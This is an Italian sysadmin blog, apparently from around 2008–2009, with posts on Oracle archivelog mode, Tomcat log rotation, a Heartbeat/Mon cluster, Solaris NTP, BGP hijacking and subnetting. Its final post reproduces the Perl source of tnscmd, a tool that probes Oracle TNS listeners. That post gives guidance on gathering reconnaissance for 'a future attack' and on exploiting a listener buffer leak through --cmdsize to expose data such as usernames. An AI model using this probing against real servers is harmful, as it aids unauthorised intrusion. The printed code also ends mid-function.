jump to navigation

Enable/Disable Oracle Archive Logs Aprile 26, 2009

Posted by installatore in Oracle.
Tags: , , , , , , ,
add a comment

Per disabilitare la modalità archive log (per esempio per eseguire un grosso import),collegarsi all’istanza con Sql*Plus,quindi dare i seguenti comandi:

shutdown immediate;

startup mount;

alter database noarchivelog;

alter database open;

Se invece avete intenzione di abilitarli basta sostituire la riga alter database noarchivelog; con alter database archivelog;

Per controllare la modalità con cui si stà eseguendo oracle,sempre da Sql*Plus lanciare il seguente comando:

archive log list;

Nelle nuove installazioni di Oracle dove è presente la flash recovery area bisogna prestare attenzione quando si abilitano gli archive log.Di default con la flash recovery area la prima destinazione degli archive log è proprio quest’ultima,che però ha come grandezza di default (indipendentemente dallo spazio che avete libero sul file system) 2GB,nello sventurato caso in cui arrivate a tappare completamente questa grandezza,oracle non accetterà più nuove connessioni permettendo solo di connettervi localmente con Sql*Plus.L’errore è il seguente:

ORA-00257 archiver error. connect internal only, until freed

Per risolvere il problema collegarsi in locale e aumentare la grandezza della flash recovery area come segue:

sqlplus “/as sysdba”

alter system set db_recovery_file_dest = ‘/flash_recovery_area_location’; (nel caso voglia proprio spostarla per mancanza di spazio su file system,altrimenti saltare questo passaggio)

alter system set db_recovery_file_dest_size = 4g;  (raddoppio così il valore di default)

Log Rotation For Tomcat under Solaris 10 Aprile 26, 2009

Posted by installatore in Varie, script, solaris.
Tags: , , , ,
add a comment

Penso che almeno una volta tutti quelli che utilizzano Tomcat,si sono trovati davanti a file di log (catalina.out in primis) talmente grandi da non poter nemmeno essere aperti.Così mi sono creato questo breve scriptino che lanciato da crond una volta al giorno mi effettua la rotazione dei log e mi cancella quelli più vecchi di 3 giorni.

#!/bin/sh

logadm /opt/apache-tomcat-6.0.18/logs/cc.log -C 15 -c -p now -t ‘/opt/apache-tomcat-6.0.18/logs/CC_OK.%Y-%m-%d-%H-%M’

logadm /opt/apache-tomcat-6.0.18/logs/catalina.out -C 15 -c -p now -t ‘/opt/apache-tomcat-6.0.18/logs/CATALINA_OK.%Y-%m-%d-%H-%M’

find /opt/apache-tomcat-6.0.18/logs -mtime +3 -exec rm -f {} \;

Ho configurato successivamente lo scriptino nella crontab di root  e riavviato il servizio con

svcadm restart crond

 

Active/Active cluster with Heartbeat + Mon for a Server Application Aprile 26, 2009

Posted by installatore in linux, networking, script.
Tags: , , ,
add a comment

In questo articolo spiegherò brevemente come poter creare un cluster a 2 nodi Active/Active per un applicazione server attraverso anche l’uso di un record DNS Round Robyn,che andrà a smistare il traffico.

Per questa configurazione ho scelto di avere 2 indirizzi Ip virtuali (a cui punterà il round robyn) che potranno effettuare il failover su entrambi i nodi del nostro cluster.Per creare i 2 ip virtuali e lanciare mon, utilizzeremo heartbeat http://www.linux-ha.org/ .

Per gestire le risorse clusterizzate utilizzeremo mon http://mon.wiki.kernel.org/ .Mon avrà il compito di monitorare i nostri 2 nodi e tramite lo script tcp.monitor monitorare la porta che la nostra applicazione terrà aperta in ascolto.

Prima di tutto andiamo a configurare il file /etc/hosts inserendo i nomi host dei nostri server su entrambi i nodi.

10.0.0.2 nodoclu1                                                                                                                                                                                           

10.0.0.3 nodoclu2

Quindi procediamo con l’installazione di heartbeat e di mon,tramite i sorgenti o i packages scaricati dai relativi siti.Ipotizzerò che le cartelle di installazione per i 2 programmi siano /etc/ha.d (per heartbeat) e /etc/mon (per mon).

Cominciamo con il configurare su entrambi i nodi il file /etc/ha.d/ha.cf nel seguente modo:

# Logging 

debug 0

debugfile /var/log/ha-debug

use_logd  false

logfacility  daemon

logfile /var/log/ha-log

 

# Misc Options

traditional_compression off

compression bz2

coredumps true

 

# Communications (scelgo su quali interfacce e su che porta configurare le comunicazioni interne tra i due nodi)

udpport 691

bcast eth0

bcast eth1

 # Thresholds (in seconds)

keepalive 1

warntime 6

initdead 5   #(un nodo viene indicato come failed dopo 5 secondi)

 

deadtime 9 #(un nodo viene indicato come morto dopo 9 secondi)

ping 10.0.0.1      #(per verificare che la rete pubblica sia sù pingo il mio gateway)

node  nodoclu1,nodoclu2    #(i nodi che appartengono al cluster)

auto_failback off               #(gestisco il fail back delle risorse con mon,quindi questo lo lascio a off)

respawn hacluster /usr/lib64/heartbeat/ipfail     #(indica il programma che controlla le interfacce di rete)

In questo file abbiamo quindi specificato i parametri di partenza per heartbeat,non ci resta che andare ad editare anche il file /etc/ha.d/haresources per poter configurare le risorse che vogliamo clusterizzare.

nodoclu1 10.0.0.10 mon_script

nodoclu2 10.0.0.20

Abbiamo quindi specificato che sul nodoclu1 sarà presente l’ip virtuale 10.0.0.10 e la risorsa mon_script ,che sarebbe lo script di avvio di mon,che dovrà essere inserito in /etc/ha.d/resource.d .Mentre per il nodoclu2 girerà solamente un altro ip virtuale.Ovviamente entrambi i nodi possono ospitare tutte le risorse qui descritte (2 ip virtuali + mon).Qui di seguito lo script mon_script….

 

#!/bin/sh

#

# start/stop the mon server

#

# processname: mon

# config: /etc/mon/mon.cf

# pidfile: /var/run/mon.pid

#

PATH=/bin:/usr/bin:/sbin:/usr/sbin

export PATH

# Source function library.

. /etc/rc.d/init.d/functions

# See how we were called.

case “$1″ in

start)

echo -n “Starting mon daemon: “

# daemon /etc/mon/mon -c /etc/mon/mon.cf

/etc/mon/mon -f -c /etc/mon/mon.cf

echo

touch /var/lock/subsys/mon

;;

stop)

echo -n “Stopping mon daemon: “

killproc mon

echo

rm -f /var/lock/subsys/mon

;;

status)

base=”mon”

pid=`pidof -o $$ -o $PPID -o %PPID -x ${base}`

if [ -n "$pid" ]; then

echo “running”

else

echo “stopped”

fi

;;

monitor)

base=”mon”

pid=`pidof -o $$ -o $PPID -o %PPID -x ${base}`

if [ -n "$pid" ]; then

echo “running”

else

echo “stopped”

exit 7

fi

;; restart)

killall -HUP mon

;;

*)

echo “Usage: mon {start|stop|status|restart|monitor}”

exit 1

esac

exit 0

A questo punto possiamo lanciare heartbeat su entrambi i nodi per controllare che vengano caricate tutte le nostre risorse (/etc/init.d/heartbeat start).Quindi possiamo partire configurando il file /etc/mon/mon.cf

 

alertdir = /etc/mon/alert.d

mondir = /etc/mon/mon.d

logdir = /etc/mon

maxprocs = 20

histlength = 100

randstart = 60s

 

hostgroup nodo1 10.0.0.2    

hostgroup nodo2 10.0.0.3

 

watch nodo1

service tcp

interval 5s

monitor tcp.monitor -p 3000 10.0.0.2  #-p portatcp indirizzonodo1

period wd {Mon-Sun}

alert ha_sall.alert  #appena non mi risponde per 2 volte il server lancio /usr/lib64/heartbeat/hb_standby all

upalert ha_tloc.alert #appena torna su il server lancio /usr/lib64/heartbeat/hb_takeover local

alertafter 2

no_comp_alerts

watch nodo2

service tcp

interval 5s

 

monitor tcp.monitor -p 3000 10.0.0.3 #-p portatcp indirizzonodo2

period wd {Mon-Sun}

alert ha_tall.alert # appena non mi risponde per 2 volte il server lancio /usr/lib64/heartbeat/hb_takeover all

upalert ha_sfor.alert #appena torna su lancio /usr/lib64/heartbeat/hb_standby foreign

alertafter 2

no_comp_alerts

I file come ha_sfor.alert sono contenuti sotto /etc/mon/alert.d e non sono altro che file script con il comando scritto affianco.Ovviamente questa è la configurazione del nodo 1 quindi sul nodo 2 dovrò scambiare tutto ciò che riguarda col nodo1 con il nodo2 e viceversa.In pratica monitorizza se la porta 3000 sugli indirizzi ip indicati è aperta se non lo è esegue il file di alert dopo 2 volte che non risponde (alertafter 2),se la porta torna disponibile allora scatta l’upalert.Con questa configurazione la mia applicazione aveva tra l’alert e il failover delle risorse solo 5 secondi :D direi un risultato molto soddisfacente.

Setting Up external ntp source in a Sun Cluster environment Aprile 25, 2009

Posted by installatore in solaris.
add a comment

Ultimamente mi sono trovato davanti a una nuova esperienza quella su Solaris.Un gran bel sistema operativo,un pò ostico all’inizio ma una volta presa la mano si vola :D

In questo articolo vi descrivo come poter impostare il client Ntp di Solaris 10 in un ambiente clusterizzato con Sun Cluster.

Se la parte cluster è già stata installata,dovremmmo prima stoppare il servizio xntpd ì,modificare il file /etc/inet/ntp.cluster,quindi dare un bel ntpdate -B serverntp per sincronizzare il sistema con l’nt,quindi riabilitare il servizio xntpd.Ovviamente queste operazioni,si intendono da fare prima su un nodo e poi su tutti gli altri .

/etc/init.d/xntpd.cluster stop

vi /etc/inet/ntp.cluster

#server serverntp
#server 127.127.1.0
#peer clusternode1-priv prefer
#peer clusternode2-priv
#driftfile /var/ntp/ntp.drift
#filegen peerstats file peerstats type day enable
#filegen loopstats file loopstats type day enable
#filegen clockstats file clockstats type day enable

ntpdate -B serverntp

/etc/init.d/xntpd.cluster start

Et voilà….la sincronizzazione è servita!

All’interno del file ntp.cluster notiamo bene come se avessimo avuto all’interno della nostra lan più di un server ntp potevamo omettere la riga  #server 127.127.1.0 in quanto dice solamente che in mancanza del primo server usa se stesso come fonte attendibile per la sincronizzazione.

Ricerca di file Torrent Gennaio 7, 2009

Posted by installatore in Uncategorized.
Tags: ,
add a comment

Ciao a tutti,
visto che ormai i torrent li usano tutti e molte volte risulta difficile trovare quelli giusti consiglio questo sito
http://trrnt.t35.com
permette di fare una ricerca tramite google sui migliori siti di torrent.Sicuramente vi renderà la vita un pò più facile.
Saluti a tutti.

BGP…un altro buco nella sicurezza di Internet Settembre 16, 2008

Posted by installatore in networking.
Tags: , , , , , , , ,
add a comment

Al DefCon,due esperti di networking (Alex Pilosovand Anton “Tony” Kapela) hanno dimostrato come sia possibile sfruttare la troppa credibilità ,che il protocollo bgp dà alle informazioni interscambiate tra i router dei vari ISP,  esponendo il fianco a possibili attacchi man-in-the-middle (MiM).

Funzionamento del BGP

Questo protocollo di routing non fà altro che tramite una serie di algoritmi calcolare la “best” path verso una determinata sottorete.Una volta calcolata,questa viene “spreadata” a tutti i router vicini definiti “neighbour”.BGP inoltre riterrà una route come la più favorità quanto più sia vicina alla rete di destinazione.Ecco un esempio….

Network          Next Hop           Metric LocPrf Weight Path  *>  151.1.0.0/16      5.198.4.2             0    100      0  100 ?

 

  *>  151.1.3.0/24     5.198.4.3             0    100      0  100 ?
Qui sopra vediamo riportato l’output di una entry BGP,ritornando al discorso cominciato sopra se per esempio noi dobbiamo raggiungere l’indirizzo 151.1.3.34 la best path sarà la seconda perchè è più “vicina” rispetto alla prima in quanto lnella seconda entry viene annunciata una sottorete più completa rispetto alla prima e quindi più simile all’indirizzo ip che dobbiamo raggiungere.

Dove stà l’inghippo….

Visto che BGP prenderà come vere ogni aggiornamento sulle route e eleggerà come best path quella più vicina all’ip di destinazione….un male intenzionato potrebbe “spreadare” un falso update BGP per dirottare il traffico verso un determinato indirizzo ip verso un altro e verrebbe sempre considerato vero dai router e verrà annunciato a tutti i “neighbour”.

Un evento del genere era già capitato per sbaglio a You Tube quando la Telecom Pakistana ha cominciato a “spreadare” update BGP errati sulla route verso you tube questo ha causato l’irraggiungibilità del sito per diverse ore.Potete leggerne di più qui http://news.bbc.co.uk/1/hi/technology/7262071.stm

Purtroppo la facilità con cui si può creare un router BGP e quindi poter spargere falsi update è molto semplice come è dimostrato dall’articolo qui sotto dove viene creato utilizzando un semplice Mac Mini. http://www.fubra.com/blog/2007/10/mac-mini-bgp-routers-part-2.html

Riporto qui di seguito il file di presentazione power point utilizzato dai due esperti per il DefCon.

http://installatore.files.wordpress.com/2008/09/edited-iphd-2.ppt

Ovviamente per ovviare a questa mancanza nel protocollo ,che è il più usato per il collegamento tra i vari ISP,si è studiato una soluzione chiamata S-BGP (Secure BGP) che consiste in tutta una serie di collegamenti cifrati tramite IPsec e certificati per rendere sicuro l’interscambio di informazioni tra i vari Enterprise router.Questo sicuramente eliminerebbe il problema ,ma comporterebbe un notevole esborso in termini di denaro per sostituire tutti i router ormai obsoleti che a causa della limitata potenza di calcolo oltrechè alla memoria ristretta nonchè all’altissimo numero di collegamenti che reggono,che non reggerebbero di certo il nuovo protocollo.

Come conclusione citando Douglas Maughan( cybersecurity research program manager for the DHS’s Science and Technology Directorate)

The only thing that can force them (to fix BGP) is if their customers … start to demand security solutions

The Enhaced Bob Maneuver – Subnetting rapido rapido Settembre 15, 2008

Posted by installatore in networking.
Tags: , , , ,
add a comment

In questo post andremo ad analizzare questa tecnica di subnetting immediata nella comprensione e veloce nell’attuazione grazie all’utilizzo di un semplice schema.

 

Lo schema come potete vedere è composto da 4 righe l’utilizzo dello stesso prevede di cominciare dal basso verso l’altto.Al di sotto della riga nera in grassetto,si conta da destra verso sinistra,mentre al di sopra della stessa si conta da sinistra verso destra.Queste sono le semplici regole per utilizzare questa tecnica.

Come prima cosa dobbiamo decidere quante subnets vogliamo nella nostra rete e quindi cercare il numero che gli si avvicina di più nell’ultima riga in basso “Number of valid subnets”.

Una volta individuato il numero di subnets che fà a caso nostro ci spostiamo in linea verticale verso l’alto sulla riga “Bit place” che ci indica il numero di bit dedicati alla subnet (i rimanenti saranno dedicati agli hosts).

Quindi partendo da sinistra (128) sulla riga “Target number” ci spostiamo di tante posizioni quanto è il numero che avevamo trovato sulla riga “Bit place”.Il numero individuato è il numero di hosts presenti nelle nostre subnets.

A questo punto basterà spostarci in linea verticale verso l’alto per trovare la subnetmask che fà al caso nostro.

Adesso facciamo un esempio pratico per schiarirci un pò le idee. vogliamo 9 subnets sull’indirizzo di classe C 192.168.1.0

1)Il numero più vicino a 9 sulla riga “Number of valid subnets” è 14 2)Spostandoci in alto sulla riga “Bit Place” troviamo il numero 4 3)Contando 4 volte da 128 verso destra sulla riga “Target number” troviamo il numero 16 (che sono gli hosts presenti sulle nostre subnets) 4)Muovendoci verso l’alto dal numero 16 sulla riga “Target number” troviamo la “Subnet mask” 240

Quindi la nostra subnet mask è 255.255.255.240 192.168.1.0-15 (255.255.255.240) 192.168.1.16-31 (255.255.255.240) 192.168.1.32-47 (255.255.255.240)

Veritas Storage Foundation dg region backup failed Settembre 9, 2008

Posted by installatore in veritas.
Tags: , , , ,
add a comment

Se vi ritrovate il visualizzatore degli eventi di windows 2003 Server intasato da questo errore…

Event Type: Error
Event Source: VxSvc_vxvm
Event ID: 10284
Description:
vxcbr backup failed for following disk groups Print User  .
 For more information, click the following link: http://entsupport.symantec.com/umi/V-76-57344-10284
…bè non preoccupatevi non è niente di grave o di contorto :D solamente che in fase di installazione Veritas imposta 2 cartelle predefinite al cui interno salvare i backup delle private region dei vari disk group,il problema è che però non le crea…cosi non trovando le due cartelle vxcbr (il programma dedito a quest’attivià) fallisce inesorabilmente 1 volta ogni ora intasando se non ve ne accorgete per tempo i log di windows.Per risolvere il problema quindi basta  andare in Veritas Enterprise Manager,quinidi Control Panel e selezionare StorageAgent qui cliccando su Configuration Backup andiamo a cambiare le due cartelle predefinite oppure andiamo a crearle.
Per testare la buona riuscita della modifica rimando a questa pagina….

Import and Export Oracle dump Settembre 6, 2008

Posted by installatore in Oracle.
Tags: , , , , ,
2 comments

Buongiorno a tutti,in questo articolo vediamo come utilizzare i comandi imp ed exp di Oracle.Che possono tornare molto utili se dobbiamo replicare la stessa struttura di database per esempio per un ‘applicazione web o di gestione dati.Se sul computer che utilizzeremo per effettuare  l’import ci sono installate più versioni di Oracle conviene andare a posizionare i file di dump che si vogliono caricare nella cartella bin della Oracle home della stessa versione del database su cui vogliamo operare.

Es. D:\Oracle\Ora92\bin\

Questo per non rischiare di importare su un db Oracle 10 con il client della versione 9,2,che creerebbe problemi (errori vari o troncamento di alcune tabelle).

I comandi imp ed exp funzionano in questo modo:

exp/imp <userid/password> <parametro>=<valore> <parametro>=<valore>

Quindi possiamo fare un esempio:

exp system@database file=c:\export.dmp statistics=none

imp system@database_2 file=export.dmp fromuser=utentesuldump touser=utentesuldb

Si possono inoltre aggiungere parametri per esportare o importare solo delle tabelle specifiche oppure fargli creare un file di log.

 imp system@database_2 file=export.dmp tables=(tabella1,tabella2,tabella3….) log=c:\import.log

Nel caso dobbiate effettuare un grosso import per non saturare il file system o la flash recovery area e soprattutto per incrementare la velocità dell’operazione è necessario disabilitare la modalità Archive Log di Oracle,per controllare lo stato della vostra istanza o per istruzioni su come disabilitarli e successivamente riabilitarli ho creato un post ad hoc.

Avrete sicuramente notato specialmente se si effettuano queste operazioni su grandi db in produzione, che servirebbe una sorta di percentuale di avanzamento di import o export di una tabella,per questo ci viene incontro l’opzione FEEDBACK=rownumber,che ci permette di impostare il numero di righe per cui deve essere stampato un puntino a video.Per esempio con imp system@database_2 file=export.dmp fromuser=utentesuldump touser=utentesuldb feedback=1000,ogni mille righe stamperà un puntino a video.

 

Se avete qualcosa da aggiungere all’articolo mettetelo pure nei commenti ,provvederò in seguito ad inserirlo a vostro nome nel post principale.

SCRIPT – TNS COMMANDER Agosto 31, 2008

Posted by installatore in script.
Tags: , , , ,
add a comment

Ciao a tutti con questo breve script in perl possiamo andare a utilizzare il servizio del listener di oracle per eseguire comandi random sul server.Ecco qui un abreve guida in inglese… e in fondo troverete lo script in perl….

 

Tnscmd can be used to communicate directly with Oracle’s TNS listener, (no client is needed).  Unlike the Oracle

listener control utility LSNRCTL.exe, TNSCmd.pl does not need any connection strings and a direct

bi-directional conversation can be immediately established.

tnscmd by default will ping the stated host if no commands are supplied.

[root@localhost tnscmd]# perl tnscmd.pl -h 192.168.0.1

sending (CONNECT_DATA=(COMMAND=ping)) to 192.168.0.1:1521

writing 87 bytes

reading

…….”..=(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0)(ALIAS=LISTENER))

 

The three stages that have occured are:

  • the TNS command itself: ((CONNECT_DATA=(COMMAND=ping)
  • the raw TNS packet sent to the TNS listener: writing 87 bytes
  • the raw TNS reply packet from the TNS listener: “..=(DESCRIPTION=(T etc.

 

The VSNNUM is the Oracle version no. in decimal, which can be converted from hex to give the version = 9.2

(which was actually 9.1i)

 

[root@localhost tnscmd]# perl tnscmd.pl version -h 192.168.0.1

sending (CONNECT_DATA=(COMMAND=version)) to 192.168.0.1:1521

writing 90 bytes

reading

.M…….6………-. ……….(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0))……….TNSLSNR

for 32-bit Windows: Version 9.2.0.1.0 – Production..TNS for 32-bit Windows: Version 9.2.0.1.0 – Production..Oracle Bequeath NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 – Production..

Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 – Production..

Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 – Production,,………@

 

[root@localhost tnscmd]# perl tnscmd.pl status -h 192.168.0.1

 

sending (CONNECT_DATA=(COMMAND=status)) to 192.168.0.1:1521

writing 89 bytes

reading

. …….6………S. ………..]……..(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0)(ALIAS=

LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 – Production)(START_DATE=05-DEC200509:36:12)(SIDNUM=1)(LOGFILE=C:\oracle\ora92\

network\log\listener.log) (PRMFILE=C:\oracle\ora92\network\admin\listener.ora)(TRACING=off)

(UPTIME=3508960369)(SNMP=OFF)(PID=808)).a……..(ENDPOINT=(HANDLER=(HANDLER_

MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=0309991

D7055-491B-9C9467FF511E869)(PRE=any)(SESSION=NS)(DESCRIPTION=(ADDRESS=

(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC0ipc))))),,ENDPOINT=(HANDLER=

(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)

(HANDLER_ID=01AAF1D856D6-4DFB-987D-

 

See how confusing this is to read you should also pass the –indent option at the end of the command and proper formatting in human readable format will be carried out. 

 

The above is just a small part of the results but the data highlighted tells us we are dealing with an Oracle 9i installation on Windows, SNMP is turned off and the location of the log file and with it the $ORACLE_HOME directory which may help in a future attack.  It will also normally tell you the hostname and also other ports that are running Oracle process i.e. Port 2100 FTP etc.

 

Another command that could be tried that may provide details such as usernames is the following:

[root@localhost tnscmd]# perl tnscmd.pl -h 192.168.0.1 –cmdsize 40

This may return data from previous tns packets as the listener doesn’t always clear its buffers as effectively as it should do.  If the above is successful try incrementing the cmdsize up to say 200 and maybe more will be returned.  This vulnerability is present in early versions of Oracle and may not work on the current versions in use today.  It’s still worth a try though.

#!/usr/bin/perl
#
# tnscmd – a lame tool to prod the oracle tnslsnr process (1521/tcp)
# tested under Linux x86 & OpenBSD Sparc + perl5
#
# Initial cruft: jwa@jammed.com  5 Oct 2000
#
# $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $
#
# see also:
#    http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html
#    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818
#    http://otn.oracle.com/deploy/security/alerts.htm
#    http://xforce.iss.net/alerts/advise66.php
#
# GPL’d, of course.  http://www.gnu.org/copyleft/gpl.html
#
# $Log: tnscmd,v $
# Revision 1.3  2001/04/26 06:45:48  jwa
# typo in url.  whoops.
#
# Revision 1.2  2001/04/26 06:42:17  jwa
# complete rewrite
#  – use IO::Socket instead of tcp_open
#  – got rid of pdump()
#  – put packet into @list and build it with pack()
#  – added –indent option
#
#

use IO::Socket;
use strict;  # a grumpy perl interpreter is your friend

select(STDOUT);$|=1;

#
# process arguments
#

my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/);
my ($arg);

while ($arg = shift @ARGV) {
 $main::hostname = shift @ARGV if ($arg eq “-h”);
 $main::port = shift @ARGV if ($arg eq “-p”);
 $main::logfile = shift @ARGV if ($arg eq “–logfile”);
 $main::fakepacketsize = shift @ARGV if ($arg eq “–packetsize”);
 $main::fakecmdsize = shift @ARGV if ($arg eq “–cmdsize”);
 $main::indent = 1 if ($arg eq “–indent”);
 $main::rawcmd = shift @ARGV if ($arg eq “–rawcmd”);
 $main::rawout = shift @ARGV if ($arg eq “–rawout”);
}

if ($main::hostname eq “”) {
 print <<_EOF_;
usage: $0 [command] -h hostname
       where ‘command’ is something like ping, version, status, etc. 
       (default is ping)
       [-p port] – alternate TCP port to use (default is 1521)
       [--logfile logfile] – write raw packets to specified logfile
       [--indent] – indent & outdent on parens
       [--rawcmd command] – build your own CONNECT_DATA string
       [--cmdsize bytes] – fake TNS command size (reveals packet leakage)
_EOF_
 exit(0);
}

# with no commands, default to pinging port 1521

$cmd = “ping” if ($cmd eq “”);
$main::port = 1521 if ($main::port eq “”); # 1541, 1521.. DBAs are so whimsical
#
# main
#

my ($command);

if (defined($main::rawcmd))
{
 $command = $main::rawcmd;
}
else

 $command = “(CONNECT_DATA=(COMMAND=$cmd))”; 
}
my $response = tnscmd($command);
viewtns($response);
exit(0);
#
# build the packet, open the socket, send the packet, return the response
#

sub tnscmd
{
 my ($command) = shift @_;
 my ($packetlen, $cmdlen);
 my ($clenH, $clenL, $plenH, $plenL);
 my ($i);

 print “sending $command to $main::hostname:$main::port\n”;

 if ($main::fakecmdsize ne “”)
 {
  $cmdlen = $main::fakecmdsize;
  print “Faking command length to $cmdlen bytes\n”;
 }
 else
 { 
  $cmdlen = length ($command);
 }

 $clenH = $cmdlen >> 8;
 $clenL = $cmdlen & 0xff;

 # calculate packet length

 if (defined($main::fakepacketsize))
 {
  print “Faking packet length to $main::fakepacketsize bytes\n”;
  $packetlen = $main::fakepacketsize;
 }
 else
 { 
  $packetlen = length($command) + 58; # “preamble” is 58 bytes
 }

 $plenH = $packetlen >> 8;
 $plenL = $packetlen & 0xff;

 $packetlen = length($command) + 58 if (defined($main::fakepacketsize));

 # decimal offset
 # 0:   packetlen_high packetlen_low
 # 26:  cmdlen_high cmdlen_low
 # 58:  command

 # the packet.

 my (@packet) = (
  $plenH, $plenL, 0×00, 0×00, 0×01, 0×00, 0×00, 0×00,
  0×01, 0×36, 0×01, 0×2c, 0×00, 0×00, 0×08, 0×00,
  0×7f, 0xff, 0×7f, 0×08, 0×00, 0×00, 0×00, 0×01,
  $clenH, $clenL, 0×00, 0×3a, 0×00, 0×00, 0×00, 0×00,
  0×00, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00,
  0×00, 0×00, 0×00, 0×00, 0×34, 0xe6, 0×00, 0×00,
  0×00, 0×01, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00,
  0×00, 0×00
  );
 for ($i=0;$i<length($command);$i++) 
 {
  push(@packet, ord(substr($command, $i, 1)));
 } 

 my ($sendbuf) = pack(”C*”, @packet);

 print “connect “;
 my ($tns_sock) = IO::Socket::INET->new(
  PeerAddr => $main::hostname,
  PeerPort => $main::port,
  Proto => ‘tcp’,
  Type => SOCK_STREAM,
  Timeout => 30) || die “connect to $main::hostname failure: $!”;
 $tns_sock->autoflush(1);

 print “\rwriting ” . length($sendbuf) . ” bytes\n”;

 if (defined($main::logfile))
 {
  open(SEND, “>$main::logfile.send”) || die “can’t write $main::logfile.send: $!”;
  print SEND $sendbuf || die “write to logfile failed: $!”;
  close(SEND);
 } 

 my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf));

 if ($count != length($sendbuf))
 {
  print “only wrote $count bytes?!”;
  exit 1;
 } 

 print “reading\n”;

 # get fun data
 # 1st 12 bytes have some meaning which so far eludes me

 if (defined($main::logfile))
 {
  open(REC, “>$main::logfile.rec”) || die “can’t write $main::logfile.rec: $!”;
 } 

 my ($buf, $recvbuf);

 # read until socket EOF
 while (sysread($tns_sock, $buf, 128))
 {
  print REC $buf if (defined($main::logfile));
  $recvbuf .= $buf;
 }
 close (REC) if (defined($main::logfile));
 close ($tns_sock);
 return $recvbuf;
}
sub viewtns
{
 my ($response) = shift @_;

 # should have a hexdump option . . .

 if ($main::raw)
 {
  print $response;
 }
 else
 {
  $response =~ tr/\200-\377/00-\177/; # strip high bits
  $response =~ tr/00-27/\./;
  $response =~ tr/\177/\./;

  if ($main::indent)
  {
   parenify($response);
  }
  else
  {
   print $response;
  }
  print “\n”;
 } 

sub parenify
{
 my ($buf) = shift @_;
 my ($i, $c);
 my ($indent, $o_indent);

 for ($i=0;$i<length($buf);$i++)
 {
  $c = substr($buf, $i, 1);
  $indent++ if ($c eq “(”);
  $indent– if ($c eq “)”);
  if ($indent != $o_indent)
  {
   print “\n” unless(substr($buf, $i+1, 1) eq “(”);
   print “  ” x $indent;
   $o_indent = $indent;
   undef $c;
  } 
  print $c;
 }